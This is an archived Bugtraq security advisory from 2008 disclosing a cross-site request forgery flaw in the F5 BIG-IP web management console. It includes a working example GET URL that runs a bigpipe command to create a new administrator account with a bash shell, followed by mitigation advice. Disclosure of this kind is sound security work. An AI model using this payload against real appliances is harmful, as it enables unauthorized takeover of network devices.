bugtraq - F5 BIG-IP Web Management Console CSRF (with example)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20080210161242.3539.qmail@securityfocus.com>
Date: 10 Feb 2008 16:12:42 -0000
From: nnposter@...closed.not
To: bugtraq@...urityfocus.com
Subject: F5 BIG-IP Web Management Console CSRF (with example)

F5 BIG-IP Web Management Console CSRF

Product: F5 BIG-IP
http://www.f5.com/products/big-ip/

By design the F5 BIG-IP web management interface allows a logged-in user with Resource Manager or Administrator privileges to execute an arbitrary bigpipe shell command through the web "Console" feature. It is possible to craft URL links that would execute the command with a simple HTTP GET request. Cross-site  attacks may leverage this functionality to reconfigure the BIG-IP appliance, including creating new administrators.

Example:

https://target/tmui/Control/form?
handler=%2Ftmui%2Fsystem%2Fbigpipe%2Fbigpipe&handler_before=
&form_page=%2Ftmui%2Fsystem%2Fbigpipe%2Fbigpipe.jsp%3F&form_page_before=
&bigpipe_output=&bigpipe_cmd_validation=NO_VALIDATION&bigpipe_cmd_before=
&bigpipe_cmd=user+testuser+password+none+testpwd+shell+%2Fbin%2Fbash+role+administrator+in+all

The vulnerability has been identified in version 9.4.3. However, other versions may be also affected.

Solution:
Administrators should not browse untrusted sites while logged into the BIG-IP web management interface. It is not possible to log out of the interface so it is important to shut down the browser after the interface is no longer needed. Closing the interface browser window or removing the BIG-IP cookie is not sufficient.

Found by:
nnposter